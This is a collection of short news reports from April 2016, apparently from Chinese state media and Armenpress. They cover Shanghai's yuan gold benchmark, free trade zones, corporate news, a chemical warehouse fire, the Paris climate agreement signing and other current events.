The fix, the Shanghai Gold Benchmark Price (code: SHAU), was set at 260.39 yuan ($40.2) per gram on Thursday morning, by the afternoon the fix was 261.82 yuan.

As the first gold price benchmark denominated in the Chinese currency, the SHAU is the quote for trading of 1 kg of 99.99-percent purity bullion, derived from multiple rounds of trading.

Eighteen institutions, including the Bank of China and China Construction Bank, are listed by SGE as market makers for the fix.

The trading margin is set at 6 percent and transaction fees are exempted until June 30 this year.

A landmark move

The launch of the new benchmark is of great significance to China and marks the start of a new global gold market, business insiders said.

Aram Shishmanian, CEO of the World Gold Council, lauded the move as a landmark for the exchange and the internationalization of China's gold market.

China is one of the world's biggest buyers of the gold, and the SGE has been the world's largest physical gold exchange for nine years. However, the gold price is generally set in New York and London.

In addition, as the gold price is denominated in US dollar, market insiders have long held the view that the old pricing system cannot reflect the real market demand for gold in different regions.

The Shanghai fix could lay the foundations for a new global gold market jointly built by London, New York and Shanghai, and the trend of the gold going from the West to the East would continue, Shishimanian added.

The introduction of the benchmark is a major effort of China to further open up and integrate its financial market into the global system, said Pan Gongsheng, vice governor of the People's Bank of China (PBOC) Tuesday.

The establishment of the new pricing mechanism for the gold is also in line with the latest trend of the gold market shifting from the West to East, Pan added.

SGE chairman Jiao Jinpu said the launch of the benchmark offers the opportunity to develop bullion trading in China's financial markets and encourage more participation by global investors.

The Chinese currency would also be a winner, as the fix denominated in yuan would naturally help reduce gold's price dependency on the US dollar and boost international use of the yuan, analysts said.

The road is long

The new benchmark would help China break away from the "shackles" of the "London Gold," but there is a long way to go before "Shanghai Gold" can have a serious impact on global gold pricing, experts said.

Adrian Ash, head of research at BullionVault, told media that the Shanghai fix, for now, "will remain just another measure of localized demand and supply, rather than a tool for global traders," citing the country's ban on exports of gold bullion.

Only when "Shanghai Gold" attracts leading global market makers can it influence the global gold sector value chains, a gold trader who asked to be kept anonymous told Xinhua.

"London Gold" has been long blamed for its lack of transparency in pricing, but it will remain the most influential benchmark in the global market, as its five market makers, including HSBC, enjoy a powerful status that no other can match, the trader said.

It would be extremely hard for SGE to enlist them as market makers, and this is why it is still too early to discuss whether "Shanghai Gold" can catch up with its New York and London counterparts, he added.

"Shanghai Gold" and "London Gold" are more complementary than competitive, Li Guohong, general manager of China's Shandong Gold Group, told Xinhua in an interview.

The two benchmarks reflect the supply and demand of different regions and markets, and are targeting different investors, Li added.
BEIJING - China's four pilot free trade zones, located along the country's developed east coast, are spearheading structural reforms to make it easier to start businesses and grant foreign firms more access to the service sector.

Three new pilot zones were founded a year ago in Tianjin municipality, Fujian province and Guangdong province. The first free trade zone in Shanghai was founded in September 2013 and expanded to include the Lujiazui financial district, a high-tech park and a development zone.

These cities and provinces led the nation during China's three decades of rapid growth. Now they have taken on the role of piloting new reforms in their free trade zones, where local authorities have greater discretion to manage business activities and cross-border capital flow.

Loosened controls on capital and widened access to sectors that remain closed or restricted for foreign firms elsewhere have led to a surge in new business registrations and cross-border transactions in the zones.

A survey published in September by the American Chamber of Commerce in Shanghai found that 42 percent of American firms are happy with measures to facilitate trade in the Shanghai free trade zone and plan to gain a foothold in the free trade zones in Tianjin, Fujian and Guangdong.

Though all will experiment with reforms to be adopted nationwide, the four free trade zones are leveraging their respective strengths and locations.

Tianjin

The northeast municipality of Tianjin plans to use its free trade zone to serve a greater region in northern China that includes Beijing and Hebei province.

Tianjin has performed well in auto imports and financial leasing compared to the rest of the country. Including these sectors in the free trade zone allows them to grow with fewer restrictions.

The financial leasing arm of China's biggest state lender ICBC performed the country's first offshore leasing in Tianjin when it bought an A320 aircraft from Airbus and leased it to Himalaya Airlines in Nepal.

It only takes a month and half for a leasing firm to go from approval to open for business, compared with half a year in the past, a representative with CITIC Financial Leasing Co Ltd told Xinhua.

"It's tempting to think of people working in bureaucracy as inefficient, but those in the zone work around the clock to move things fast," the representative said.

China's HNA Group also completed its investment in Uber in the zone, where companies can carry out offshore investment of less than $300 million without having to seek regulator approval.

Guangdong

The free trade zone in south China's Guangdong has been leveraging its proximity to Hong Kong and Macao to encourage more cross-border financial transactions.

A total of 13 securities firms and asset managers from Hong Kong have been allowed to invest up to $18.66 billion combined in China's domestic capital markets.

Banks in the free trade zone offer more products for companies looking for merger and acquisition opportunities overseas to hedge against currency exchange risks.

The zone extends cross-border cash pooling services to smaller firms to help corporate treasuries manage cash flow both in and out of China more efficiently.

The free trade zone is also expected to produce two joint venture securities firms with a full suite of licenses and majority stakes held by offshore entities of HSBC and Bank of East Asia

Tupperware moved its R&D center for the Asia Pacific from Japan to the Nansha District of the Guangdong free trade zone.

The zone also houses many start-ups founded by entrepreneurs from Hong Kong and Macao.

Fujian

The free trade zone in Fujian has been piloting measures to ease economic exchanges with Taiwan.

The Fujian zone has granted speedy customs clearance for 120 Taiwanese products. This has made it possible for fresh fruit picked in the morning in Taiwan to hit the market in Fujian in the afternoon.

Streamlined measures for clearing Taiwanese products for the Chinese mainland have been approved by the General Administration of Customs for use in the other three zones.

In addition to eliminating redundant approvals, authorities in the Fujian zone have also set a time limit for processing applications. Applications will be approved by default if not processed within the limit and authorities will be held accountable for any repercussions. The rule has been copied across the country to improve administrative efficiency.

Shanghai

Multinational corporations are increasingly using the Shanghai zone to introduce new services to consumers in China.

Apple and Uber have both registered companies in the Shanghai free trade zone as a launchpad for their new mobile payment and ride-hailing services in China.

Shanghai also launched a yuan-denominated gold benchmark this week to offer global investors an alternative to the London and New York gold fixing.

International investors in the zone can participate in spot trading of commodities ranging from iron ore and non-ferrous metals to cotton, denominated in Chinese currency and free of tariffs and value-added taxes.

Zone authorities are drafting regulations to allow Chinese households to invest in offshore capital markets. The country currently only allows domestic financial institutions to make offshore investments on a quota basis.
The logo of Wanda Plaza is seen in Shanghai Dec 23, 2014. [Photo/Agencies]

Dalian Wanda Group told private investors backing its property-arm buyout that it would buy back their shares, guaranteeing 10 to 12 percent annual return, if it fails to re-list on the A-share markets as scheduled, reported Bloomberg.

The conglomerate is seeking investors to help purchase as much as 14.4 percent of Dalian Wanda Commercial Properties Co, as the latter is preparing to delist from Hong Kong Stock Exchange, said the news agency citing a document sent to prospective buyers.

Wanda stated in the pitch material that valuations for some developers listed on the mainland are more than triple those of comparable stocks in Hong Kong.

If the Wanda Commercial Properties fails to go public on a mainland exchange by either Aug 31, 2018, or two years from its de-listing, Wanda promises to buy back the shares at a level guaranteeing a 12 percent annual return for domestic investors and 10 percent for those overseas, said Bloomberg.

Last month, the real estate company announced it offered to buy out shareholders at HK$48 per share, unchanged from the price it offered in its December 2014 IPO.

The move comes as the biggest giant among offshore-listed companies rushes home for valuation premium.

Market speculates that the developer is more likely to land on A-share via reverse merger, as some 700 companies are currently lining up for listing approval. Deloitte expects regulators will only grant a total of 180 to 220 IPOs this year for market stability reasons.


A supermarket in Nanjing, Jiangsu province. In the fast-moving consumer goods sector, buyers are shopping less in large format stores, and more in convenience stores. Qu Xing / For China Daily

Subsidiary of multinational German wholesaler to also introduce its convenience store brand in China, leveraging its expertise

Metro China, a subsidiary of Germany's Metro AG, is to speed up the development of its franchise business, and introduce its convenience store brand MyMart this year.

The firm has plans to open the first two MyMart stores in Shanghai, one at a major subway station and another close to a residential community, according to Jeroen de Groot, president of Metro China.

More MyMart openings are scheduled in other cities across China, says de Groot, adding more details will be disclosed in the near future. Metro AG is a global German diversified wholesale and retail group based in Dusseldorf and famous for its cash and carry stores.

The expansion of franchises is in line with the company's intention to optimize its business to satisfy the demand of customers and to support startups and small business owners in the market, de Groot says.

Metro will be prudent when choosing its franchisees as the company will not risk its reputation in terms of quality and food safety, he says.

The convenience stores will leverage the German company's expertise in food safety, quality control and supply chain management.

Metro also made it clear that it welcomes not only professional, but also individual customers, who now account for some 40 percent of its 4.3 million registered members.

The company already has 82 stores in 57 Chinese cities, and also plans to open more supermarkets and smaller stores in the next five years.

"The move into the convenience store sector indicates Metro wants to take a share of the growing small format, modern trade business," says Jason Yu, general manager of Kantar Worldpanel China.

Kantar Worldpanel reported that in 2015, the convenience store sector in China grew by 9.3 percent.

In the fast-moving consumer goods sector, buyers are shopping less in large format stores and more in convenience stores, specialist outlets and e-commerce channels, the report says.

Yu says the launch of MyMart obviously suggests a shift of strategy in line with the latest shopping behavior.

Challenges remain for Metro, however, as convenience stores are also becoming increasingly competitive, with more Japanese and local players.

"Scale is critical to achieve competitive advantage," Yu says.

"Metro will have to be very selective in the locations it chooses, and also maximize its strength in merchandising and sourcing."

Kantar has reported that spending in the fast-moving consumer goods sector grew by 3.5 percent last year, as the Chinese economy expanded at its slowest pace in 25 years.

Modern trade, including hypermarkets, supermarkets, and convenience stores, continued to experience sluggish growth in line with the total market, growing by 3.3 percent from 2015.

The gap between international and domestic retailers has further widened as international retailers continued to lose market share, down 1.1 percentage points to 13.4 percent in 2015.

Kantar also revealed international retailers struggled to keep up with the rapidly changing trading environment. Growth in their stronghold - key cities and provincial capitals - was sluggish. They also experienced stronger competition from local players in lower-tier cities as well as competition from the e-commerce giants.

Contact the writers at wangzhuoqiong@chinadaily.com.cn and wuyiyao@chinadaily.com.cn
BEIJING - China needs policies to support Internet technological research, experts have said.

A symposium on cyber security and informatization attended by top Chinese leaders on Tuesday called on the industry to make progress in core Internet technology and on officials to heed public opinion.

Yao Hongyu, CEO of Yoyo Systems, said China needs to develop core technology in fields such as cloud computing and big data.

Government and military agencies should develop their own products, as this could be vital to information security and the growth of related domestic industries, Yao said.

Tong Liqiang, director of the Beijing cyberspace information office, holds similar views. China need to master core technology in Internet infrastructure, he said.

Shen Yi, deputy director of the Cyberspace Governance Study Center with Fudan University, said governments at all levels need to better understand public opinion on the Internet.

Zhu Wei, an associate professor with China University of Political Science and Law, said that government officials needs to be more tolerant of public criticism and better understand the needs of common citizens.
Wang Congyuan and his son, Wang Yinqi, demonstrate how to make the beef noodles worth 2,000 yuan ($308.6). [Photo/Xinhua]

How expensive can a bowl of beef noodles be? The 688 Beef Bowl restaurant in Taiwan currently has the most expensive beef noodles on the market. Customers who want to taste their noodles must pay up to 2,000 yuan ($308.6) and even make an appointment beforehand.

The 688 Beef Bowl restaurant is not particularly big. It offers seven different flavors of beef noodles, priced from 100 yuan to 2,000 yuan.

Wang Congyuan founded the beef noodle restaurant in 1990. About five years after opening, the restaurant started to become very popular. Wang began to do research about how to make beef noodles even more delicious and delicate. From the beef itself to the china in which he serves it, Wang has devoted himself to making the very best beef noodles.

Now, all the beef Wang uses is imported from Japan, Australia, the US, Brazil etc. Each cut of beef gets trimmed in a certain way, and the soup Wang uses has six different flavors, all prepared from different body parts of the cattle.

Wang's beef noodles are now regarded as legend in the food industry. Many customers come to Taiwan for the express purpose of trying the beef noodles from 688 Beef Bowl.

Wang is thinking about retiring soon and having his son, Wang Yinqi, take over the business.

"From the age of 40, all I've thought about is how to make the most delicious beef noodles. My dream now is to make the best beef noodles in the world."
YEREVAN, APRIL 22, ARMENPRESS. As Armenpress reports, US State Department spokesman John Kirby stated during a briefing that the US continues assisting the OSCE process in the NKR settlement issue.

Well, so first of all, we continue to support the OSCE process. We still believe that thats the way forward, thats the best way forward. And as you know, our Minsk group co-chair, Ambassador Warlick, visited the region with his Russian and French counterparts, making it clear that we want to see a return to negotiations and settlement immediately. And we remain firmly committed, again, through the OSCE, to working with the sides to reach a lasting peace, Kirby said.
Foreign diplomats and business executives visit a robotics company in Dongguan, Guangdong province, on Wednesday. [Provided To China Daily]

Dongguan, a Pearl River Delta city once known primarily for its labor-intensive manufacturing, is turning toward scientific innovation for its future sustainable economic growth.

According to Chen Zhongqiu, director of the Dongguan bureau of commerce, the city government invests more than 2 billion yuan ($307 million) annually on developing science and technology, plus another 1 billion yuan on attracting world-class talent.

"A number of high-tech industrial zones and incubation parks have been established to help the city develop an innovative scientific industry and upgrade its industrial structure," Chen told a group of foreign diplomats and business executives visiting the city on Wednesday.

"Dongguan is seeking to further expand its ties with the rest of the world to help achieve its goal."

In addition to luring direct foreign investment, the city government is prioritizing development of its exhibitions and conventions sector - with more than 100 international exhibitions, fairs, conventions and related events held there every year, Chen said.

The development of Dongguan as an exhibition and convention center is helped by its location, between Guangdong's capital, Guangzhou, and the Hong Kong Special Administrative Region.

The 2016 China Processing Trade Products Fair, which opened in Dongguan on Thursday, is an example of the sort of event that offers a platform for the city to expand Sino-foreign cooperation.

According to Chen, special seminars, lectures and industrial summits will also beheld during the fair to help domestic processing firms upgrade their industrial structures.

Dongguan will also organize the annual Guangdong 21st Century Silk Road International Expo in October, which is aimed at expanding cooperation between nations and regions along the ancient maritime Silk Road.

Last year, the city's GDP reached more than 620 billion yuan ($95.8 billion), while its foreign trade volume came to more than $160 billion, making Dongguan one of the top five exporter cities on the Chinese mainland.

Gabor Nagy, director of the Hungary-China Economic and Cultural Co and former deputy head of the Hungarian embassy in China, predicts a bright future for Dongguan if the city government focuses on science, technology and innovation.

"The robots produced in this city are great and of high quality," said Nagy. "They might be able to use robots to make robots in the near future."

And Ragnar Balduson, minister-counselor and vice-minister of the Icelandic embassy in China, said great changes had occurred in Dongguan since he first visited the city in 1998.

"Dongguan has now become a modern international metropolis, thanks to the development of new and high-tech industries, compared with the small agricultural city it was 18 years ago," he said.
Cockatoo Huizai with the part of its beak built using 3D technology. Wang Chengbing/For China Daily

A zoo in Nanjing, Jiangsu province, has used 3-D printing technology to help a bullied parrot who lost its beak.

The parrot, a palm cockatoo named Huizai, or Gray Boy, had been harassed by other birds living in the Nanjing Hongshan Forest Zoo.

"At first, there were only cracks on the beak," said Chen Wei, one of Huizai's keepers. "But the cracks gradually grew bigger until finally Huizai lost almost all of its beak.

"The beak is very important to a parrot's appearance. Huizai knew that it was different from the others and gradually preferred to stay alone. Sometimes it even refused to come out of its cage."

The loss of its beak not only affected the parrot's looks, but also its confidence and appetite.

"It could not put fruits or nuts into its mouth and could only use its tongue to lick small-sized food," Chen said.

Cheng Wangkun, a veterinarian, came up with the idea of using 3-D technology to rebuild Huizai's beak. He took Huizai and another parrot of the same size to a 3-D printing company that offered to help for free.

The company scanned the two parrots and presented a resin beak to the zoo.

"The resin is light and has strong wear resistance," Cheng said. "After reshaping the resin beak and Huizai's original one with a rasp, we performed the surgery under anesthesia and managed to connect the two parts with 11 bone nails."

Huizai regained consciousness soon after the hour-long operation and was drinking water and eating food within moments, according to his keepers.

The parrot did not try to break its new beak, and was accepted by its peers.

cangwei@chinadaily.com.cn
On a Friday afternoon in early April, I boarded a bus to Dawang village in Shenzhen, Guangdong province.

The village sits at the foot of Wutong Mountain, the highest point in the city, and on weekends and holidays, hordes of Shenzhen residents visit to climb the mountain and breathe the clean air.

Unlike many urban villages scattered around Shenzhen, Dawang is removed from the hustle and bustle of the metropolis. The long, spiraling mountain road that leads to the village ensures that the jarring noise of the city is kept at bay. The place is a hidden paradise.

I got off the bus when it stopped at the entrance of the village. I was deeply impressed by the scene in front of me. Not only could I see the majestic Wutong Mountain, but a huge reservoir also appeared before my eyes. The view was so beautiful and charming. I felt as though I was visiting a really interesting place.

In the village, four 50-something men were sitting around a stone table, playing poker. A few meters away, several women were playing with their children on the recreational facilities. Not far away, a taxi was parked outside an auto repair shop, and two men in blue shirts were changing the tires in unhurried fashion.

Everyone in Dawang looked relaxed. It has a slow, leisurely life-style that contrasts sharply with mainstream life in Shenzhen, which revolves around work, fast food and nightlife.

I saw few people as I walked along the main road. A row of private cars was parked along the road, and there were various businesses, including supermarkets, eateries, pharmacies and clothes shops. Residents don't need to leave the village to buy necessities because all their basic needs can be met by local retailers.

The architecture mostly consists of six-story buildings, each with decades of history. Some are woshoulou, a term used to describe buildings built so close to each other that the occupants can lean out of the windows and shake hands with their neighbors across the street.

Hou Qinghong, a taxi driver from Youxian, told me that living conditions in Shenzhen's urban villages are poor, but the cost of living is low.

I met Hou in Dawang as I was looking for a taxi to return to the city center. He had just visited a friend and was about to leave the village and start work. He gave me a ride, and we talked all the way back to the downtown.

"When I came here in 2003, I lived with a friend in a two-bedroom apartment in Shixia village. The rent was 600 yuan ($93) a month back then. Now, I live with my 25-year-old son in a 35-square-meter, one-bedroom apartment in Shixia, but the rent is 1,850 yuan a month," he said.

Unlike many taxi drivers from Youxian, Hou is determined to stay in the sector.

"At present, the cab-hailing business is far more profitable than driving a taxi, but it's still unregulated. Who knows how it will turn out when the government formulates rules for the new industry and Didi Chuxing stops subsidizing car drivers?" he mused.
Weng Mao, chairman of Shanghai Guanshengyuan Group, delivers a speech on August 18, 2009, at a ceremony announcing the sponsorship of Shanghai Expo 2010. [Photo/IC]

A former chairman of one of the most popular candy manufacturing companies in the country died after he was hit by falling rocks reportedly dislodged by monkeys in a scenic spot in central China's Henan province, sina.com.cn reported Friday.

Weng Mao, 67, who retired in 2010 from his post as the chairman of Shanghai Guanshengyuan Group, died of injuries after being hit by falling rocks at Yuntaishan scenery area in Wuxiu county of Henan on April 19, according to a message from the administration bureau of the scenic spot which circulated online Thursday.

The message claimed the rocks were kicked off by monkeys. However, the travel agency that organized the trip refused to confirm the claim, saying that stones continued to fall there when the agency employees and local police probed the case.

Workers in the area found Weng injured around 9:20 am on April 19, and they reported the case to police and rushed Weng to Wuxiu County People's Hospital where he succumbed to his injuries, a statement from the county's police said.

The scenic spot employees later inspected the site and discovered that monkeys had kicked off the rocks, according to the police statement sent to Sina.com.cn.

The administration bureau of Yuntaishan scenery area confirmed a death of a tourist in a statement issued on Friday on its official Sina Weibo account, a Twitter-like service, without naming the visitor.

It added that it was in touch with the visitor's family. Weng's status was identified by news portal Sina.com.cn from his ID number in a police statement and ID number published by Shanghai Maling Aquarius Co Ltd, a listed and affiliated company to Shanghai Guanshengyuan Group.

The Group began producing the White Rabbit creamy candy in 1943 and it soon became famous and a popular gift for people from all over the country. In 1972, then-premier Zhou Enlai gave White Rabbit candies to then-US President Richard Nixon during the latter's visit to China. The candies became popular overseas as well.

Weng gained his master's degree from Shanghai's Fudan University. He worked in Shanghai light industry bureau for 15 years from 1978. In 1992, he joined Guanshengyuan. He was also the head of China National Confectionery Association and China National Food Industry Association's deputy chairman.

Sina.com.cn reported that Weng liked mountain climbing and hiking.
An inspector from the Sichuan Entry-Exit Inspection and Quarantine Bureau tells students from Sichuan Agricultural University why woodcarvings cannot be brought into China without being quarantined first. [Photo by Huang Zhiling/chinadaily.com.cn]

Students from Sichuan Agricultural University's Wenjiang campus were shown a display of seized plants and plant products on Thursday afternoon by staff from Sichuan Entry-Exit Inspection and Quarantine Bureau.

The items had been confiscated from passengers arriving at Shuangliu International Airport in Chengdu, Sichuan province.

Many of the students were curious about a woodcarving that was on display and asked a bureau employee why it had been seized. They were shown wormholes in the piece that might have caused by a nonnative species.

The display of confiscated plants and plant products was one of many events staged by the bureau to mark China's first National Security Education Day, said bureau chief Sun Yingjie.

April 15 was designated National Security Education Day by the Standing Committee of the National People's Congress, China's top legislative body, under the National Security Law passed in July.

Other events held at the university included a well-attended lecture on nonnative species given by an inspector from the bureau, said Leng Jun, a university official.

The number of prohibited objects seized by the bureau has been on the rise in recent years. In the first three months of the year, more than 252 kilograms of bird's nests, pet food, ham, garlic, plants and lavender were seized, said Chen Bingyu, an information officer with the bureau.

Since the mid-1990s, invasive, nonnative species such as the pine wood nematode have done much harm to China's ecosystem, with the country's biodiversity, agriculture, forests, animals and fisheries all affected.

"Of the globe's 100 most dangerous alien species on the list of the International Union for Conservation of Nature and Natural Resources, more than 50 have invaded China," said Chen Hai, chief of the Chengdu Airport Entry-Exit Inspection and Quarantine Bureau.

"Each year, direct economic losses from them surpass 50 billion yuan ($7.7 billion)."
China's dairy imports are expected to soar in the coming decade, as a result of growing domestic demand and a price gap between domestic and foreign products, a government report said on Friday.

The country's dairy imports, including raw milk, cheese and milk powder, are expected to rise to 15.88 metric tons in 2020, up by 43.1 percent from last year, according to China Agricultural Outlook 2016-2025.

The report, issued by the Market Early Warning Expert Committee under the Ministry of Agriculture, forecasts a 69.4 percent rise in dairy imports to 18.8 million tons by 2025.

China's dairy consumption has experienced a slowdown in growth in the past five years mainly due to sluggish consumer confidence in the quality of produce, the report said.

The dairy industry was hit particularly hard after a 2008 scandal in which a number of farmers and manufacturers were found to have added melamine, a toxic chemical, to raw milk. The incident affected at least 300,000 babies and six died from kidney failure.

Many consumers have since turned to imported baby formula in the hope of purchasing products of a higher quality.

The report forecast that milk powder will dominate dairy imports, because the second-baby policy is expected to bring about a boom in child births.

"It is expected that milk powder imports will recover in 2016 after the slump in 2015," the report said.

It estimates that milk powder imports will reach 800,000 tons in 2016 and increase to 1.2 million tons by 2025.
Editor's note: On Tuesday at a symposium on cyber security and informatization, Chinese President Xi Jinping called on officials at all levels of the Party and the state to heed public opinions using the internet. Indeed, quite a number of senior officials go online to get information and interact with internet users through social media like microblogs and Wechat.

A screenshot shows Zhang Chunxian's letter to internet users that has published on Rednet.cn.

Zhang Chunxian

Zhang, Party chief of the Xinjiang Uygur autonomous region, is widely known as a microblog activist.

Zhang first sought public opinions on the internet in 2005 when he was the Party chief Central China's Hunan province. He said officials should learn how to use new media in collecting public opinions for decision-making.

In 2007, Zhang registered an account on the online forum of the local Hunan's news portal Rednet.cn to communicate with internet users.

In 2011, he started his personal Tencent microblog account during the Two Sessions to collect suggestions of internet users. Within two weeks, he had 300,000 fans.

Some internet users deliberately left some messages on his page to know whether he really uses it. Surprisingly, 75 internet users were replied one by one.
A warehouse storing chemicals and fuel exploded and caught fire in the eastern Chinese city of Jingjiang on Friday, April 22, 2016. [Photo/Sina Weibo]

A warehouse storing chemicals and fuel exploded and caught fire in Jingjiang city, East China's Jiangsu province, on Friday, according to media reports.

Local authorities said the blaze was under control and no casualties were reported.

Photos posted online showed dark clouds of smoke rising from the blaze from the block of storage tanks located at the Jingjiang Port.

A nearby resident surnamed Zhong told Modern Express that the fire started around 8 am, and the flames rose to some 30 meters into the sky.

News website ThePaper.cn reported that a company called Jiangsu Deqiao Storage ran the warehouse and the company was authorized to keep hazardous chemicals.

Local residents have complained of foul air quality caused by the company since the warehouse started operation in July 2010, the news site added.

The Jingjiang government said on its microblog that the fire was "under control" with no deaths or injuries. It said the materials that caught fire include methanol and mixed aromatics.

The government also said that the fire caused little damage to environment and activity near the site had returned to "normal".

The latest blast recalled huge explosions caused by improper storage of chemicals at the port area of the northern city of Tianjin last August, when at least 165 people were killed and fears were raised of toxic contamination.

The massive blast in Tianjin had also sparked widespread anger over non-transparency of the causes and the impacts to local environment.
TAIPEI - A Taiwan court on Friday upheld the death sentence for Cheng Chieh, who was convicted of murder and multiple attempts to kill in a subway knife attack in 2014.

Taiwan's supreme court rejected Cheng's second appeal. The defendant had no psychological or mental problems when he committed the crime, said the court.

Cheng, a 21-year-old college student at that time, stabbed passengers at random on a moving subway train in Taipei, killing four and injuring 22 others in the span of four minutes on May 21, 2014. He was arrested at the scene.

He had been sentenced to death in the previous two trials in March and October last year.

The death penalty ruling against Cheng reflects legal justice, said the husband of a woman killed in the attack.

After the attack, Cheng underwent a psychiatric assessment at Taiwan University Hospital. He was found to be "normal" after four face-to-face interviews and a physical examination.
Firefighters have brought a massive blaze under control at a chemical and fuel storage facility in Jingjiang, Jiangsu province, following an explosion and fire on Friday morning.

There were no casualties.

The fire and explosion brought back memories of a similar situation in Tianjin last year in which the fire spread and 165 people lost their lives.

According to Meng Guoping, deputy director of Taizhou city, which has jurisdiction over the county-level city of Jingjiang, the fire department located the heart of the fire and isolated it, so the blaze could not spread to other chemicals.

"The chemicals that burned included methanol," said Meng. "Since the blast, departments concerned with safety supervision, environmental protection and water-control have monitored the surrounded area and ensured the environment remains safe."

According to the Jingjiang government's microblog, the fire started at around 9:40 am local time in a pumping exchange station belonging to the Jiangsu Deqiao Storage Company.

Ni Bin, the top official responsible for Jingjiang, ordered the evacuation of people living nearby in the aftermath of the blast and called on firefighters to ensure there were no further explosions and that the blaze did not spread.

The Jiangsu Deqiao Storage Company, which is owned by Singapore-listed Hengyang Petrochemical Logistics, has 42 chemical tanks at the site. The tanks are capable of storing 126,000 sq meters of product, according to the company's website.

Of the 42 storage tanks, 30 were being used to store chemicals and 12 were used for diesel, gasoline and fuel oil.

The company started operation in July 2010.

According to thepaper.cn, local people have complained frequently about the company and particularly about what they describe as its pungent emissions. But a company spokesman said the smells had nothing to do with the explosions and fire and were not harmful to health.

"The smells that the local people have complained about come from the tanks' breather valves and are not poisonous," said the man, a director of the company, surnamed Hou.

Hou told thepaper.cn: "Some emissions with pungent smells can diffuse within 2 kilometers."

But Jiangsu Broadcasting noted that some residential buildings were within 500 meters of the site.

In August 2015, explosions at a warehouse in Tianjin claimed the lives of 165 people and caused a directed economic loss of 6.8 billion yuan ($1.02 billion).

Investigations into that massive fire found that the improper and illegal storage of hazardous materials had caused the explosions. Many of those who lost their lives were people who lived in the community.
YEREVAN, APRIL 22, ARMENPRESS. In commemoration of the Armenian Genocide, the Armenian Apostolic Church of Ventura County will host a special commemorative luncheon and program on April 24 at St Patricks Episcopal Church, Ventura, California, Armenpress reports, citing mpacorn.com.

The heritage luncheon will immediately follow the 12:15 p.m. service at the church.

During the meal, children will recount their family journeys during the genocide.

Also, author Dawn Anahid MacKeen will discuss her book The Hundred-Year Walk, An Armenian Odyssey.

MacKeen is an award-winning journalist who wrote her grandfathers story, which takes place in the Ottoman Empire during World War I. Stepan Miskjian, her grandfather, was separated from his family during the governments mass deportation of Armenians. A century later, the family discovered Miskjians long-lost journals.
A rocket carrying the ExoMars 2016 spacecraft to Mars blasts off from the launch pad at the Baikonur Cosmodrome, Kazakhstan, March 14, 2016. [Photo/Agencies]

China's first independent Mars exploration program has been approved by the central authorities, Xu Dazhe, the director of the China National Space Administration, announced on Friday.

China is set to launch its first Mars probe in 2020, Xu said at a news conference. The probe is expected to arrive at Mars in 2021 after more than nine months' space travel. It will orbit and land on the planet.

China's previous effort to explore Mars in cooperation with Russia in 2011 failed after the Russian launch vehicle carrying Yinghuo-1, China's first Mars probe, crashed into the Pacific Ocean.

So far, only the United States, the former Soviet Union, the European Space Agency and India have successfully carried out Mars exploration missions.
The Chinese Medical Doctor Association said on Friday that primary and middle school students in China should receive checkups at hospitals rather than at schools to improve the prevention and treatment of diseases for such groups.

Currently students aged between 6 and 18, or those studying in primary and middle schools, in China receive health checkups organized by teachers at health centers at their schools, according to regulations adopted in 1985, said Yu Hong, director of the association's Adolescence Medicine Committee.

This system could cause many problems, such as failure in disease diagnosis and improper treatment, as many health facilities at schools are not professional enough, she said.

With the increasing incidence of issues such as sexual precociousness, obesity and psychological abnormality among young students, it is becoming urgent to send students to hospitals for annual check-ups, where they can receive more professional medical services, she said.

Wu Di, an endocrinology doctor at Beijing Children's Hospital, said in recent years the number of children suffering diseases such as hypertension and obesity is increasing.

"But in most cases the abnormalities have been spotted by their parents rather than by school doctors," she said.

Wu said it might take a long time before schools can organize students to have health checkups at hospitals, as the health checks are under the charge of education authorities.

Li Minghui, director for health management at Changchun Children's Hospital, said most staff in Changchun's school health facilities are not medical professionals and it is possible that they could fail to detect if students have diseases.
BEIJING -- A corrupt Chinese official who had been on the run abroad since 2007 returned to China on Thursday and turned herself in to authorities, the Communist Party of China's disciplinary watchdog said here Friday.

Zhou Shiqin, 64, was a former finance official with the Shenyang Railway Bureau in northeastern China before she fled to Australia in October 2007 when she was charged with graft, the Central Commission for Discipline Inspection (CCDI) said.

She was one of the 100 fugitives listed in an Interpol "red notice."

With the space for graft and power abuse considerably narrowed at home after years of anti-corruption efforts, China is increasingly looking to for international cooperation in apprehending suspects overseas.

Just on Thursday, China launched "Sky Net 2016", its latest campaign to capture those still at large via international cooperation.
President Xi Jinping delivers a speech for the opening day of the World Climate Change Conference 2015 (COP21) at Le Bourget, near Paris, France, November 30, 2015. [Photo/Xinhua]

China will formally ratify the Paris Agreement before September, said Vice-Premier Zhang Gaoli, who signed the climate agreement on behalf of President Xi Jinping on Friday at a special ceremony at the United Nations.

Zhang, Xi's special envoy, also called on all G20 members to give early approval to the agreement.

"China will finalize domestic legal procedures on its accession before the G20 Hangzhou summit in September this year," said Zhang to applause from the audience.

More than 175 countries signed the agreement on Friday. It was a new record for the most countries to sign an international agreement on one day, which had been set in 1982 when 119 countries signed the Law of the Sea Convention.

"Today is a day that I have worked toward since day one as secretary-general of the United Nations and declared climate change to be my top priority. Today you are signing a new covenant with the future," said UN Secretary-General Ban Ki-moon, who will step down at the end of this year after 10 years in the post.

"Today's record-breaking number of signatures on the climate change agreement sends a powerful message to the international community. It's now time to take action for humanity," said Ban.

The signing is the first step toward ensuring that the agreement reached in Paris last December goes into force. The next step will be for each nation to unilaterally ratify the agreement, which in many cases will involve passage by national legislatures.

"We will work with the rest of the international community for early accession to the agreement and to be sure it's early entry into force," said Zhang.

With his granddaughter on his lap, US Secretary of State John Kerry signed the agreement. "The United States looks forward to formally joining this agreement this year," he said. "We call on all of our international partners to do so."

It reaffirmed the joint commitment to tackle climate change by China and the US, which account for 38 percent of the world's greenhouse gas emissions.

"China has set the target of achieving the peak of CO2 emissions around 2030, making the best effort to peak earlier," said Zhang.

China plans to decrease its CO2 emissions by 18 percent in the second half of the decade, according to the 13th Five-Year Plan. The government will control total energy consumption and carbon intensity, pushing for near-zero emission demonstration projects and establishing a nationwide carbon market.

"We will deepen the South-South cooperation on climate change," said Zhang. China will launch new projects under the new South-South Cooperation Climate Fund this year to help other developing countries.

Ban has always praised such effort. "We must support developing countries in making this transition. The poor and most vulnerable must not suffer further from a problem they did not create," he said during his speech.
BEIJING -- Chinese President Xi Jinping will attend the opening ceremony of the fifth regular foreign ministers' meeting of the Conference on Interaction and Confidence Building Measures in Asia (CICA) scheduled for next Thursday in Beijing, Foreign Ministry spokesperson Lu Kang announced Friday.

Xi will deliver a speech at the opening ceremony, Lu said.

CICA was established in 1992 as a forum for dialogue and consultations and promotion of confidence-building measures among its members. It now has 26 member countries and 12 observers (including countries and international organizations).

